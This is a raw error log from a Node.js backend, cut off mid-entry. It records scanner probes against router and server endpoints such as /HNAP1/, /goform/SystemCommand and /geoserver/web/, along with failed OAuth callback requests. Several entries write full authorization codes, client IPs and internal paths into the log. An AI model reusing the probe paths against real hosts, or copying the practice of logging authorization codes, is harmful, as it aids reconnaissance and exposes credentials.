/cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4= - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/cgi-bin/server/server.cgi?func=server02_main_submit&counter=5.22497857400916&TEST_BTN4=', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613740276_gyllspgbm', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:49:00.383Z HTTP POST /diagnostic.php - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/diagnostic.php', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613740382_5tjbe50qe', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:49:00.596Z HTTP GET /HNAP1/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/HNAP1/', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613740595_ngj7jsudy', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:49:00.702Z HTTP POST /goform/SystemCommand - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/goform/SystemCommand', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613740701_vmf8kvtgf', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:50:35.897Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:3.134.148.59', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' - }, - requestId: 'req_1758613835896_k2hiu3r35', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?error=1', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '54.175.74.27', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:50:42.532Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?error=1', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' - }, - requestId: 'req_1758613842531_qyljbc4vo' -} -❌ [ERROR] 2025-09-23T07:50:42.533Z HTTP GET /idnot/callback?error=1 - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?error=1', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' - }, - requestId: 'req_1758613842531_qyljbc4vo', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T07:51:47.239Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:3.134.148.59', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' - }, - requestId: 'req_1758613907238_e87jz6qt2', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T08:04:17.705Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758614657704_xzlpepwdy' -} -❌ [ERROR] 2025-09-23T08:04:17.706Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758614657704_xzlpepwdy', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g1wHxjqRTxhC9W7lNHHhj2pkg0yNd5bBgTMy6mGDjmYL2NZ8wA5VeM35V5HIhlrqdBJ54UcDSVyj4WVT9oUJXZhZAPKyFGKx_sN-_TjBaXSclZLwjiyciKuWKBv95-KdmxrZ00Jp7xy2GmVo4ZbNqaDYfQlX0FhAErdN7EAlsSFuRWEPDcuVXO_1S3K_6M5zDM2mgRCtxkJ9sWnE_GrVa-dTfYJP8f_I9vRdDSB47MnGjrDFZEiNdhow8P9vGNFLgz8SlEvLtH66QvjnzvqQ88kxbf_9v0i0mhngc2egC-fNd4N03mr5YyNq_tsqsfFa4mzmTt8MmYGLyplnTqyZrkOhbOpr3WzOGVhBERpUTEqan6aavvRrMt8BBDn_eARdOte614H0wEJtXOJ1x-nJKTbp5Tw18wEBeSIs', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T08:05:16.945Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPow'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758614716944_wkpqvpx6j' -} -❌ [ERROR] 2025-09-23T08:05:16.946Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g1wHxjqRTxhC9W7lNHHhj2pkg0yNd5bBgTMy6mGDjmYL2NZ8wA5VeM35V5HIhlrqdBJ54UcDSVyj4WVT9oUJXZhZAPKyFGKx_sN-_TjBaXSclZLwjiyciKuWKBv95-KdmxrZ00Jp7xy2GmVo4ZbNqaDYfQlX0FhAErdN7EAlsSFuRWEPDcuVXO_1S3K_6M5zDM2mgRCtxkJ9sWnE_GrVa-dTfYJP8f_I9vRdDSB47MnGjrDFZEiNdhow8P9vGNFLgz8SlEvLtH66QvjnzvqQ88kxbf_9v0i0mhngc2egC-fNd4N03mr5YyNq_tsqsfFa4mzmTt8MmYGLyplnTqyZrkOhbOpr3WzOGVhBERpUTEqan6aavvRrMt8BBDn_eARdOte614H0wEJtXOJ1x-nJKTbp5Tw18wEBeSIs - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPow'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758614716944_wkpqvpx6j', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T08:06:01.148Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9L'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758614761147_co2nbc9wd' -} -❌ [ERROR] 2025-09-23T08:06:01.149Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0 - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758614761147_co2nbc9wd', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJSm-0iGqHNyVEQtZo4Y1PLDq4hz5mz5dolaa57BsQVq8S05Jr1cLo0DabNqZOTKhuqIaHlYSTA4UIRopq2fzyeklYc-H-Gx0mDUoeugQ64HCwQZXpPBUteUmIGWZaYHwbfcqrDAgvi7d2Jrd74_yYPq0SSlcAJH-NJ6fdN4nA-L8qaBmhm6W5ywhy_C8xGOYl2xLSmdb7OGTItAiUKvRHnbvb46NPNVAV2IFxzuT-KeoxIqz5KJ7R-loZMYpbaB63fhetSoPN5IHw4vlXzyTUMk20Qfwkvvb5q528C6Jb9yBFL-uoexDsbDXrOOrTr0dZBiTMiu_EgbGX_me-gkP7jL_8NaXUHOX6X5p-Txug7_1ketZWB-DLYrcEHrlCkzma7byDGUEYX59Nu-jcN-bPRto-s1pUezKURhfg', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '35.171.45.91', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T08:08:27.926Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJS'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzE'... 440 more characters, - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758614907925_mcdsm82r0' -} -❌ [ERROR] 2025-09-23T08:08:27.927Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJSm-0iGqHNyVEQtZo4Y1PLDq4hz5mz5dolaa57BsQVq8S05Jr1cLo0DabNqZOTKhuqIaHlYSTA4UIRopq2fzyeklYc-H-Gx0mDUoeugQ64HCwQZXpPBUteUmIGWZaYHwbfcqrDAgvi7d2Jrd74_yYPq0SSlcAJH-NJ6fdN4nA-L8qaBmhm6W5ywhy_C8xGOYl2xLSmdb7OGTItAiUKvRHnbvb46NPNVAV2IFxzuT-KeoxIqz5KJ7R-loZMYpbaB63fhetSoPN5IHw4vlXzyTUMk20Qfwkvvb5q528C6Jb9yBFL-uoexDsbDXrOOrTr0dZBiTMiu_EgbGX_me-gkP7jL_8NaXUHOX6X5p-Txug7_1ketZWB-DLYrcEHrlCkzma7byDGUEYX59Nu-jcN-bPRto-s1pUezKURhfg - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzE'... 440 more characters, - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758614907925_mcdsm82r0', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T08:14:18.766Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:44.205.255.127', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36' - }, - requestId: 'req_1758615258765_j2jqllcrl', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T08:27:35.299Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758616055299_hrmvur3fy', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T08:30:19.282Z HTTP GET /actuator/health - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:135.237.123.254', - method: 'GET', - url: '/actuator/health', - userAgent: 'Mozilla/5.0 zgrab/0.x' - }, - requestId: 'req_1758616219281_s3k6h3yq9', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T08:52:56.631Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758617576631_p059kqai6', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T08:53:01.275Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:64.62.197.47', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0' - }, - requestId: 'req_1758617581274_abps747ms', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T08:53:39.875Z HTTP GET /favicon.ico - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:64.62.197.47', - method: 'GET', - url: '/favicon.ico', - userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' - }, - requestId: 'req_1758617619875_hp3ed2t4n', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T08:53:58.247Z HTTP GET http://api.ipify.org/?format=json - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:64.62.197.49', - method: 'GET', - url: 'http://api.ipify.org/?format=json', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0' - }, - requestId: 'req_1758617638245_zh34b6ujg', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T08:54:31.260Z HTTP GET /geoserver/web/ - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:64.62.197.47', - method: 'GET', - url: '/geoserver/web/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0' - }, - requestId: 'req_1758617671259_8e3eq4qgc', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk30o9ZEBNlqdifhJXkyo4PxrN8TuwM8dFrhmTaFwfaUNclTMiT09UvG5-A20ueSWcCzJNXusPRRoe58cSKnDBKi1Xozk0GeNjN7Or9YKYMmmq6J1x84juQWgTbe1AXUHh7Hoi4hGmiMMDuOrAOoLEYay8i3Vg6Y7bh0LjpF-i5bRlhWhFPVneySUB_RzdXZuJDzkmSyg_ygOtTw4ZK2ZN5S1l09tn2mcfcsVp1R3EB5u6K3K-KFARe_KbYxhxHIZRwR-rE57QmQ0adhozE5iYt1mhLct6hr5NVoZZt1R1Ia24TX2bKGITKqVshyZsmp44hmIyFyMba5W6vJYwta10LwDHjgWVokieDctvDjYdY7LiS5sw3dLWr7w0RQk2r7C8ylq6hd8QjvnOmxGyXTRrqkIUzqUa2j0EOU4', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '184.72.115.35', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T09:05:58.382Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 